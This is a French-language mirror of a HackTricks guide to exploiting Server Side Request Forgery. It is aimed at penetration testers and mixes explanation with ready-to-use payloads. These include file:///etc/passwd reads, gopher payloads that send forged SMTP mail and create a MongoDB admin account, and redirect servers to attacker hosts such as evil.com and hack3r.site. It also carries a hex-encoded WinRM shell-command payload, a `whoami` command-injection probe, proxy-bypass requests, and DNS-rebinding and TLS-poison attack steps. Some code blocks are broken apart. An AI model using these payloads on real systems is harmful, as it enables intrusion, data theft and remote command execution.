mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
405 lines
27 KiB
Markdown
405 lines
27 KiB
Markdown
# SSRF (Server Side Request Forgery)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Accédez dès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
|
|
|
</details>
|
|
|
|
## Informations de base
|
|
|
|
Une vulnérabilité de **Forge de requête côté serveur (SSRF)** se produit lorsqu'un attaquant manipule une **application côté serveur** pour effectuer des **requêtes HTTP** vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l'attaquant.
|
|
|
|
## Capture SSRF
|
|
|
|
La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
|
|
|
|
* **Burp Collaborator**
|
|
* [**pingb**](http://pingb.in)
|
|
* [**canarytokens**](https://canarytokens.org/generate)
|
|
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
|
* [**http://webhook.site**](http://webhook.site)
|
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
|
* [http://requestrepo.com/](http://requestrepo.com/)
|
|
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
|
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator utilisant ngrok
|
|
|
|
## Contourner les domaines autorisés
|
|
|
|
Généralement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines ou URL autorisés**. Sur la page suivante, vous trouverez une **compilation de techniques à essayer pour contourner cette liste blanche** :
|
|
|
|
{% content-ref url="url-format-bypass.md" %}
|
|
[url-format-bypass.md](url-format-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Contournement via redirection ouverte
|
|
|
|
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Comme la page web autorisera le **SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\
|
|
En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
|
|
|
## Protocoles
|
|
|
|
* **file://**
|
|
* Le schéma d'URL `file://` est référencé, pointant directement vers `/etc/passwd` : `file:///etc/passwd`
|
|
* **dict://**
|
|
* Le schéma d'URL DICT est décrit comme étant utilisé pour accéder à des définitions ou des listes de mots via le protocole DICT. Un exemple donné illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d'entrée, ainsi qu'une instance d'un script PHP potentiellement utilisé de manière abusive pour se connecter à un serveur DICT en utilisant des identifiants fournis par l'attaquant : `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
|
* **SFTP://**
|
|
* Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant : `url=sftp://generic.com:11111/`
|
|
* **TFTP://**
|
|
* Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
|
* **LDAP://**
|
|
* Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
|
* **SMTP**
|
|
* Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations.
|
|
```
|
|
From https://twitter.com/har1sec/status/1182255952055164929
|
|
1. connect with SSRF on smtp localhost:25
|
|
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
|
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
|
4. connect
|
|
```
|
|
* **Curl URL globbing - Contournement de WAF**
|
|
* Si le SSRF est exécuté par **curl**, curl dispose d'une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple de **traversal de chemin via le protocole `file`**:
|
|
```
|
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
|
```
|
|
* **Gopher://**
|
|
* La capacité du protocole Gopher à spécifier l'IP, le port et les octets pour la communication avec le serveur est discutée, aux côtés d'outils comme Gopherus et remote-method-guesser pour la création de charges utiles. Deux utilisations distinctes sont illustrées :
|
|
|
|
### Gopher://
|
|
|
|
En utilisant ce protocole, vous pouvez spécifier l'**IP, le port et les octets** que vous souhaitez que le serveur **envoie**. Ensuite, vous pouvez essentiellement exploiter une SSRF pour **communiquer avec n'importe quel serveur TCP** (mais vous devez savoir comment parler au service en premier lieu).\
|
|
Heureusement, vous pouvez utiliser [Gopherus](https://github.com/tarunkant/Gopherus) pour créer des charges utiles pour plusieurs services. De plus, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) peut être utilisé pour créer des charges utiles _gopher_ pour les services _Java RMI_.
|
|
|
|
**Gopher smtp**
|
|
```
|
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
|
will make a request like
|
|
HELO localhost
|
|
MAIL FROM:<hacker@site.com>
|
|
RCPT TO:<victim@site.com>
|
|
DATA
|
|
From: [Hacker] <hacker@site.com>
|
|
To: <victime@site.com>
|
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
|
Subject: Ah Ah AHYou didn't say the magic word !
|
|
.
|
|
QUIT
|
|
```
|
|
**Gopher HTTP**
|
|
```bash
|
|
#For new lines you can use %0A, %0D%0A
|
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
|
```
|
|
**Gopher SMTP — Connexion arrière vers 1337**
|
|
|
|
{% code title="redirect.php" %}
|
|
```php
|
|
<?php
|
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|
?>Now query it.
|
|
https://example.com/?q=http://evil.com/redirect.php.
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Gopher MongoDB -- Créez un utilisateur avec le nom d'utilisateur=admin avec le mot de passe=admin123 et avec les permissions=d'administrateur
|
|
```bash
|
|
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
|
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
|
|
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
|
|
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
|
%00%00administrator%00%00%00%00'
|
|
```
|
|
## SSRF via en-tête Referrer & Autres
|
|
|
|
Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter les URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles.
|
|
|
|
## SSRF via données SNI provenant du certificat
|
|
|
|
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend via une configuration simple est illustrée avec un exemple de configuration Nginx :
|
|
```
|
|
stream {
|
|
server {
|
|
listen 443;
|
|
resolver 127.0.0.11;
|
|
proxy_pass $ssl_preread_server_name:443;
|
|
ssl_preread on;
|
|
}
|
|
}
|
|
```
|
|
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la falsification de requête côté serveur (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl`, est donné ci-dessous:
|
|
```bash
|
|
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|
```
|
|
## [Téléchargement de fichier Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
|
|
|
## SSRF avec Injection de Commande
|
|
|
|
Il pourrait être intéressant d'essayer une charge utile comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
|
|
|
## Rendu de PDF
|
|
|
|
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez **insérer un peu de JS qui sera exécuté par le créateur de PDF** lui-même (le serveur) lors de la création du PDF et vous pourrez abuser d'un SSRF. [**Trouvez plus d'informations ici**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
|
|
|
## De SSRF à DoS
|
|
|
|
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF à partir des sessions.
|
|
|
|
## Fonctions PHP SSRF
|
|
|
|
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
|
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## SSRF Rediriger vers Gopher
|
|
|
|
Pour certaines exploitations, vous pourriez avoir besoin de **envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :
|
|
```python
|
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
|
|
class MainHandler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
print("GET")
|
|
self.send_response(301)
|
|
```html
|
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
|
|
```python
|
|
self.end_headers()
|
|
|
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
|
httpd.serve_forever()
|
|
```
|
|
|
|
```python
|
|
from flask import Flask, redirect
|
|
from urllib.parse import quote
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def root():
|
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
|
|
|
if __name__ == "__main__":
|
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Accédez dès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
|
|
|
## Proxies mal configurés pour SSRF
|
|
|
|
Astuces [**de cet article**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
|
|
|
### Flask
|
|
|
|
<details>
|
|
|
|
<summary>Code vulnérable du proxy Flask</summary>
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
if __name__ == "__main__":
|
|
app.run(threaded=False)
|
|
```
|
|
</details>
|
|
|
|
Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire du **nom d'hôte initial le nom d'utilisateur** et d'injecter un nouveau. Requête d'attaque :
|
|
```http
|
|
GET @evildomain.com/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
|
|
|
Code vulnérable :
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Il a été découvert qu'il est possible de **démarrer le chemin** d'une requête avec le caractère **`;`** ce qui permet ensuite d'utiliser **`@`** et d'injecter un nouvel hôte pour y accéder. Requête d'attaque :
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### Serveur Web intégré PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
|
|
|
<details>
|
|
|
|
<summary>Code PHP vulnérable</summary>
|
|
```php
|
|
<?php
|
|
$site = "http://ifconfig.me";
|
|
$current_uri = $_SERVER['REQUEST_URI'];
|
|
|
|
$proxy_site = $site.$current_uri;
|
|
var_dump($proxy_site);
|
|
|
|
echo "\n\n";
|
|
|
|
$response = file_get_contents($proxy_site);
|
|
var_dump($response);
|
|
?>
|
|
```
|
|
</details>
|
|
|
|
PHP permet l'utilisation du **caractère `*` avant un slash dans le chemin** de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant le premier slash, il est donc nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple:
|
|
```http
|
|
GET *@0xa9fea9fe/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
## Contournement de CORS/SOP par rebinding DNS
|
|
|
|
Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, le **rebinding DNS** peut être utilisé pour contourner cette limitation :
|
|
|
|
{% content-ref url="../cors-bypass.md" %}
|
|
[cors-bypass.md](../cors-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Rebinding DNS automatisé
|
|
|
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réaffecter l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
|
|
|
Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
|
|
|
## Rebinding DNS + ID de session TLS/Ticket de session
|
|
|
|
Exigences :
|
|
|
|
* **SSRF**
|
|
* **Sessions TLS sortantes**
|
|
* **Éléments sur des ports locaux**
|
|
|
|
Attaque :
|
|
|
|
1. Demandez à l'utilisateur/robot d'accéder à un **domaine** contrôlé par l'**attaquant**
|
|
2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau)
|
|
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du ticket de session**.
|
|
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
|
|
5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple)
|
|
6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **session**/ID de ticket (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même.
|
|
|
|
Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
|
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
|
Pour **plus d'informations**, consultez la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
|
|
|
## SSRF aveugle
|
|
|
|
La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le cas du SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
|
|
|
|
### SSRF basé sur le temps
|
|
|
|
En **vérifiant le temps** des réponses du serveur, il pourrait être **possible de savoir si une ressource existe ou non** (il se peut que l'accès à une ressource existante prenne plus de temps que l'accès à une ressource qui n'existe pas)
|
|
|
|
## Exploitation de SSRF dans le cloud
|
|
|
|
Si vous trouvez une vulnérabilité SSRF sur une machine s'exécutant dans un environnement cloud, vous pourriez obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :
|
|
|
|
{% content-ref url="cloud-ssrf.md" %}
|
|
[cloud-ssrf.md](cloud-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Plateformes vulnérables au SSRF
|
|
|
|
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les ici :
|
|
|
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Outils
|
|
|
|
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
|
|
|
Outil pour détecter et exploiter les vulnérabilités SSRF
|
|
|
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
|
|
|
* [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
|
|
|
Cet outil génère des charges utiles Gopher pour :
|
|
|
|
* MySQL
|
|
* PostgreSQL
|
|
* FastCGI
|
|
* Redis
|
|
* Zabbix
|
|
* Memcache
|
|
|
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
* [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
|
|
|
_remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités _Java RMI_ courantes. La plupart des opérations disponibles prennent en charge l'option `--ssrf`, pour générer une charge utile _SSRF_ pour l'opération demandée. Avec l'option `--gopher`, des charges utiles _gopher_ prêtes à l'emploi peuvent être générées directement.
|
|
|
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
|
|
|
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables aux attaques de falsification de requêtes côté serveur (SSRF).
|
|
|
|
### Pour s'entraîner
|
|
|
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
|
|
|
## Références
|
|
|
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
|
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
|
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
